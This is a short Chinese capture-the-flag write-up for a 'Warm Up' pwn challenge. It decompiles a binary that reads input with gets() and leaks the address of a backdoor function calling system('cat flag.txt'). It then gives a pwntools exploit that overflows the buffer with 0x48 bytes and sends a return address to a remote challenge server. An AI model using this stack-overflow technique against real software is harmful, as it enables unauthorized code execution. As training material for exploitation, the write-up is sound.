1.题目下载地址
点击下载题目
2.checksec检查保护
3.IDA静态分析
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
int sub_40060D()
{
return system("cat flag.txt");
}
- gets()函数很明显会有栈溢出漏洞,然后发现有后门函数,也就是sub_40060D函数,而且会发现你执行此程序的时候可以直接输出后门函数的地址,就不需要再找他的地址了
sprintf(&s, "%p\n", sub_40060D)
- 这个函数的意思就是将sub_40060D的地址放在s缓冲区中输出地址,所以执行的时候就可以直接看到后门函数地址。
- 所以现在的漏洞利用思路就是将v5缓冲区覆盖,然后覆盖返回地址为后门函数地址
- v5的大小是0x40
- 因为是64位程序,再加8byte覆盖rbp
4.exp
from pwn import*
sh=remote('node3.buuoj.cn',26548)
payload='a'*0x48+p64(0x40060D)
sh.sendline(payload)
sh.interactive()